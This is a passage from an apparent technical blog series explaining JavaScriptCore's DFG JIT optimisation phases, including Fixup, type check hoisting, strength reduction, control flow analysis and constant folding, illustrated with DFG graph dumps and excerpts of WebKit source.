<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureNum, BoolInt32, arg1(B<span style="color:#f92672">&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedInt32), R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting BoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureNum, NonBoolInt32, arg2(C<span style="color:#f92672">&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedInt32), R:Stack(arg2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting NonBoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> ArithAdd(Check:Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Check:Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, Int32, Unchecked, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid) 
</span></span></code></pre></div><p>In the listing above, notice the two changes to the node <code>D@30</code>, it now contains speculative type information on what the opcode is likely to return. Which in this case is <code>Int32</code>. It has also updated (technically this is the <em>Fixup</em> phase that updates the node as a consequence of the <em>Prediction Propagation</em> phase) the node to an <code>ArithAdd</code> node type and added an <code>Int32</code> type check on the edges <code>D@28</code> and <code>D@29</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>ArithAdd(Check:Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Check:Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span> ...
</span></span></code></pre></div><p>The nodes <code>D@28</code> and <code>D@29</code> have also been updated to include speculative type information for each of them.</p>
<h2 id="fixup">Fixup</h2>
<blockquote>
<p>Fix portions of the graph that are inefficient given the predictions that
we have. This should run after prediction propagation but before CSE.</p>
</blockquote>
<p>This phase performs a number of optimisations on the graph such as updating the flush formats, type checks, adding nodes (e.g. adding DoubleRep and ArrayifyToStructure) and removing nodes (e.g. decaying Phantoms to Checks). An example of such a node optimisation is the conversion of the <code>ValueAdd</code> node to to a <code>ArithAdd</code> node and the removal of type checks on the node&rsquo;s children as see in the <a href="">previous section on <code>Prediction Propagation</code></a>.</p>
<p>The <code>Fixup</code> rules are defined in the phase implementation. The key functions within the phase that the reader should examine are <a href="https://github.com/WebKit/WebKit/blob/34a68c25f7097461af2e8808ee6c62e0969665a7/Source/JavaScriptCore/dfg/DFGFixupPhase.cpp#L177"><code>fixupNode</code></a>, <a href="https://github.com/WebKit/WebKit/blob/34a68c25f7097461af2e8808ee6c62e0969665a7/Source/JavaScriptCore/dfg/DFGFixupPhase.cpp#L3529"><code>fixupGetAndSetLocalsInBlock</code></a> and <a href="https://github.com/WebKit/WebKit/blob/34a68c25f7097461af2e8808ee6c62e0969665a7/Source/JavaScriptCore/dfg/DFGFixupPhase.cpp#L4394"><code>fixupChecksInBlock</code></a>.</p>
<h2 id="invalidation-point-injection">Invalidation Point Injection</h2>
<blockquote>
<p>Inserts an invalidation check at the beginning of any CodeOrigin that follows a CodeOrigin
that had a call (clobbered World).</p>
</blockquote>
<p>As the name of this phase suggests, it adds <code>InvalidationPoint</code> nodes after a node, which has had a call to <a href="https://github.com/WebKit/WebKit/blob/34a68c25f7097461af2e8808ee6c62e0969665a7/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L4671">clobberWorld</a>. <code>InvalidationPoint</code>s check if any <em>watchpoints</em> have fired and as a result would trigger an OSR Exit from the optimised code. Consider the following graph dump:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">287</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">284</span>, loc24(QD<span style="color:#f92672">~&lt;</span>Object<span style="color:#f92672">&gt;/</span>FlushedJSValue), W:Stack(loc24), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">283</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">291</span>, ExitValid)  predicting OtherObj
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">288</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> PutById(Check:Cell:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">284</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">275</span>, MustGen, cachable<span style="color:#f92672">-</span>id {uid:(__proto__)}, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">291</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">730</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> InvalidationPoint(MustGen, W:SideState, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">297</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">289</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">241</span>, MustGen, loc24, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">297</span>, ExitValid)
</span></span></code></pre></div><p>An <code>InvalidationPoint</code> was added at the beginning of the bytecode instruction boundary at <code>bc#297</code> since the DFG node <a href="https://github.com/WebKit/WebKit/blob/34a68c25f7097461af2e8808ee6c62e0969665a7/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L4111"><code>PutById</code> triggers a call to clobberWorld</a> when evaluated by the Abstract Interpreter.</p>
<h2 id="type-check-hoisting">Type Check Hoisting</h2>
<blockquote>
<p>Hoists CheckStructure on variables to assignments to those variables, if either of
the following is true:</p>
<p>A) The structure&rsquo;s transition watchpoint set is valid.</p>
<p>B) The span of code within which the variable is live has no effects that might
clobber the structure.</p>
</blockquote>
<p>This phase begins by looping over the nodes in the graph to identify any variables with redundant structure and array checks and earmarks their checks for hoisting. It then loops over the <code>SetArgumentDefinitely</code> and <code>SetLocal</code> nodes in the graph and adds <code>CheckStructure</code> nodes on the variables that were earmarked for hoisting. A truncated snippet of the <a href="https://github.com/WebKit/WebKit/blob/b3ed15300cfe7eeabc873d38f9d27d51ff70ab0a/Source/JavaScriptCore/dfg/DFGTypeCheckHoistingPhase.cpp#L87">phase implementation</a> is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> <span style="color:#a6e22e">run</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    clearVariableVotes();
</span></span><span style="display:flex;"><span>    identifyRedundantStructureChecks();
</span></span><span style="display:flex;"><span>    disableHoistingForVariablesWithInsufficientVotes<span style="color:#f92672">&lt;</span>StructureTypeCheck<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    clearVariableVotes();
</span></span><span style="display:flex;"><span>    identifyRedundantArrayChecks();
</span></span><span style="display:flex;"><span>    disableHoistingForVariablesWithInsufficientVotes<span style="color:#f92672">&lt;</span>ArrayTypeCheck<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    disableHoistingAcrossOSREntries<span style="color:#f92672">&lt;</span>StructureTypeCheck<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>    disableHoistingAcrossOSREntries<span style="color:#f92672">&lt;</span>ArrayTypeCheck<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">bool</span> changed <span style="color:#f92672">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Place CheckStructure&#39;s at SetLocal sites.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    InsertionSet insertionSet(m_graph);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (BlockIndex blockIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; blockIndex <span style="color:#f92672">&lt;</span> m_graph.numBlocks(); <span style="color:#f92672">++</span>blockIndex) {
</span></span><span style="display:flex;"><span>        BasicBlock<span style="color:#f92672">*</span> block <span style="color:#f92672">=</span> m_graph.block(blockIndex);
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> indexInBlock <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; indexInBlock <span style="color:#f92672">&lt;</span> block<span style="color:#f92672">-&gt;</span>size(); <span style="color:#f92672">++</span>indexInBlock) {
</span></span><span style="display:flex;"><span>            Node<span style="color:#f92672">*</span> node <span style="color:#f92672">=</span> block<span style="color:#f92672">-&gt;</span>at(indexInBlock);
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">switch</span> (node<span style="color:#f92672">-&gt;</span>op()) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">case</span> SetArgumentDefinitely: {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">//... truncated for brevity (GetLocal and CheckStructure/CheckArray nodes added)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            }    
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">case</span> SetLocal: {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">//... truncated for brevity (CheckStructure/CheckArray nodes added)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            }    
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        insertionSet.execute(block);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> changed;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="strength-reduction">Strength Reduction</h2>
<blockquote>
<p>Performs simplifications that don&rsquo;t depend on CFA or CSE but that should be
fixpointed with CFA and CSE.</p>
</blockquote>
<p>The developer comments in <code>DFGStrengthReductionPhase.h</code> aren&rsquo;t very descriptive on how this phase optimises the graph. However, on digging into the <a href="https://github.com/WebKit/WebKit/blob/5c52fcd75a09041e841872dab144050b87d2624d/Source/JavaScriptCore/ChangeLog-2014-02-20#L12951">ChangeLog from 2014</a>, we have the following comments that shed more light on what this phase was designed to accomplish:</p>
<blockquote>
<p>This was meant to be easy. The problem is that there was no good place for putting the folding of typedArray.length to a constant. You can&rsquo;t quite do it in the bytecode parser because at that point you don&rsquo;t yet know if typedArray is really a typed array. You can&rsquo;t do it as part of constant folding because the folder assumes that it can opportunistically forward-flow a constant value without changing the IR; this doesn&rsquo;t work since we need to first change the IR to register a desired watchpoint and only after that can we introduce that constant. We could have done it in Fixup but that would have been awkward since Fixup&rsquo;s code for turning a GetById of &ldquo;length&rdquo; into GetArrayLength is already somewhat complex. We could have done it in CSE but CSE is already fairly gnarly and will probably get rewritten.</p>
<p>So I introduced a new phase, called StrengthReduction. This phase should have any transformations that don&rsquo;t requite CFA or CSE and that it would be weird to put into those other phases.</p>
</blockquote>
<p>Essentially this is a dumping ground for transformations that don&rsquo;t rely on <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/#control-flow-analysis">CFA</a> or <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/#local-common-subexpression-elimination">CSE</a> phases. This phase iterates over each node in the graph and applies transformations that are defined in the function <a href="https://github.com/WebKit/WebKit/blob/de0c499f84f9dc50514e10d4ddf7150337e6569c/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp#L76"><code>DFGStrengthRedutionPhase::handleNode()</code></a></p>
<h2 id="control-flow-analysis">Control Flow Analysis</h2>
<blockquote>
<p>Global control flow analysis. This phase transforms the combination of type
predictions and type guards into type proofs, and flows them globally within
the code block. It&rsquo;s also responsible for identifying dead code, and in the
future should be used as a hook for constant propagation.</p>
</blockquote>
<p>These phases perform several <em>check eliminations</em> with the help of the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGAbstractInterpreter.h">Abstract Interpreter (AI)</a>. It can eliminate checks in the same block, in different blocks and eliminate checks by merging information from predecessor blocks<sup id="fnref2:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.</p>
<p>The AI achieves this by executing each node in the every block and updating the <em>proof</em> status of edges as it traverses the graph. An edge is <em>proved</em> if the values gathered by the AI match the edges&rsquo; type (i.e. <em>useKind</em>). There are four <em>sub values</em> that the AI captures and the WebKit blog<sup id="fnref3:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> describes them as follows:</p>
<blockquote>
<p>The DFG abstract value representation has four sub-values:</p>
<ul>
<li>Whether the value is known to be a constant, and if so, what that constant is.</li>
<li>The set of possible types (i.e. a SpeculatedType bitmap, shown in Figure 13).</li>
<li>The set of possible indexing types (also known as array modes) that the object pointed to by this value can have.</li>
<li>The set of possible structures that the object pointed to by this value can have. This set has special infinite set powers.</li>
</ul>
</blockquote>
<p>The AI runs to <em>fixpoint</em>, what that means is that it traverses the graph repeatedly until it observes no changes in the abstract values it has recorded. Once it has converged at <em>fixpoint</em> it then proceeds to determine which checks on nodes can be removed by consulting the abstract values it has gathered and <em>clobberize</em>. This will be discussed in the next section.</p>
<p>Let&rsquo;s attempt to trace this optimisation phase in the DFG. To being let&rsquo;s enable another very handy JSC flag that will enable verbose logging of the <em>Control Flow Analysis</em>. To do this add the <code>--verboseCFA=true</code> to <code>launch.json</code>. This will print the various abstract values that are gathered as the AI traverses the graph.</p>
<p>The key function in this phase is <code>performBlockCFA</code>. This function iterates over the basic blocks in the graph and calls <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGCFAPhase.cpp#L202"><code>performBlockCFA</code></a> on each block. A truncated listing is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">performBlockCFA</span>(BasicBlock<span style="color:#f92672">*</span> block)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    m_state.beginBasicBlock(block);
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> block<span style="color:#f92672">-&gt;</span>size(); <span style="color:#f92672">++</span>i) {
</span></span><span style="display:flex;"><span>        Node<span style="color:#f92672">*</span> node <span style="color:#f92672">=</span> block<span style="color:#f92672">-&gt;</span>at(i);
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>m_interpreter.execute(i)) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    m_changed <span style="color:#f92672">|=</span> m_state.endBasicBlock();
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This function first updates the AI state with the call to <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGInPlaceAbstractState.cpp#L50"><code>m_state.beginBasicBlock(block)</code></a>. It then iterates over each node in the basic block and executes them in the AI with the call to <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGCFAPhase.cpp#L232"><code>AbstractInterpreter::execute</code></a>. With the <code>verboseCFA</code> flag enabled, the AI will print the active variables in the block as it iterates over each node. The function <code>AbstractInterpreter::execute</code> is described below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">template</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">typename</span> AbstractStateType<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> AbstractInterpreter<span style="color:#f92672">&lt;</span>AbstractStateType<span style="color:#f92672">&gt;::</span>execute(<span style="color:#66d9ef">unsigned</span> indexInBlock)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    Node<span style="color:#f92672">*</span> node <span style="color:#f92672">=</span> m_state.block()<span style="color:#f92672">-&gt;</span>at(indexInBlock);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    startExecuting();
</span></span><span style="display:flex;"><span>    executeEdges(node);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">executeEffects</span>(indexInBlock, node);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function begins by first clearing the state of the node with the call to <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L102"><code>startExecuting</code></a>. Once the node state in the AI has been reset, the next step is to call <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L129"><code>executeEdges</code></a> on the node which evaluates the edge type against the speculated type. The function <code>executeEdges</code> through a series of calls ends up calling <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGAbstractInterpreter.h#L163"><code>filterEdgeByUse</code></a>. This function inturn calls <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L153"><code>filterByType</code></a> which is responsible for updating <em>proof</em> about the edges and this determining if checks on the node can be removed. This function is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>ALWAYS_INLINE <span style="color:#66d9ef">void</span> AbstractInterpreter<span style="color:#f92672">&lt;</span>AbstractStateType<span style="color:#f92672">&gt;::</span>filterByType(Edge<span style="color:#f92672">&amp;</span> edge, SpeculatedType type)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    AbstractValue<span style="color:#f92672">&amp;</span> value <span style="color:#f92672">=</span> m_state.forNodeWithoutFastForward(edge);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (value.isType(type)) {
</span></span><span style="display:flex;"><span>        m_state.setProofStatus(edge, IsProved);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    m_state.setProofStatus(edge, NeedsCheck);
</span></span><span style="display:flex;"><span>    m_state.fastForwardAndFilterUnproven(value, type);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If the <em>abstract value</em> for the node matches the <em>speculated type</em> of the edge, the AI will set the <em>proof status</em> of the edge to <code>IsProved</code>. This effectively removes the checks in place on the node for the child elements. Let&rsquo;s use the example of <code>ArithAdd</code> on integer operands. Before the <code>performCFA</code> phase the node representation is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureNum, BoolInt32, arg1(B<span style="color:#f92672">&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedInt32), R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting BoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureNum, NonBoolInt32, arg2(C<span style="color:#f92672">&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedInt32), R:Stack(arg2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting NonBoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> ArithAdd(Check:Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Check:Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, Int32, Unchecked, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid) 
</span></span></code></pre></div><p>After the <code>performCFA</code> phase the checks on child nodes <code>D@28</code> and <code>D@29</code> are removed, since the AI proved that the edge types to these node matches the abstract values collected by the AI:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureNum, BoolInt32, arg1(B<span style="color:#f92672">&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedInt32), R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting BoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureNum, NonBoolInt32, arg2(C<span style="color:#f92672">&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedInt32), R:Stack(arg2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting NonBoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> ArithAdd(Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, Int32, Unchecked, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span></code></pre></div><h2 id="constant-folding">Constant Folding</h2>
<blockquote>
<p>CFA-based constant folding. Walks those blocks marked by the CFA as having
inferred constants, and replaces those nodes with constants whilst injecting
Phantom nodes to keep the children alive (which is necessary for OSR exit).</p>
</blockquote>
<p>This phase loops over each node in the graph and attempts to <a href="https://en.wikipedia.org/wiki/Constant_folding">constant fold values</a>. Consider the following DFG graph snippet:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">725</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> DoubleConstant(Double<span style="color:#f92672">|</span>PureInt, BytecodeDouble, Double: <span style="color:#ae81ff">9218868437227405312</span>, inf, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">477</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> ArithNegate(DoubleRep:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">725</span><span style="color:#f92672">&lt;</span>Double<span style="color:#f92672">&gt;</span>, Double<span style="color:#f92672">|</span>PureNum<span style="color:#f92672">|</span>UseAsOther, AnyIntAsDouble<span style="color:#f92672">|</span>NonIntAsDouble, NotSet, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">478</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> MovHint(DoubleRep:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">477</span><span style="color:#f92672">&lt;</span>Double<span style="color:#f92672">&gt;</span>, MustGen, loc55, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, ExitInvalid)
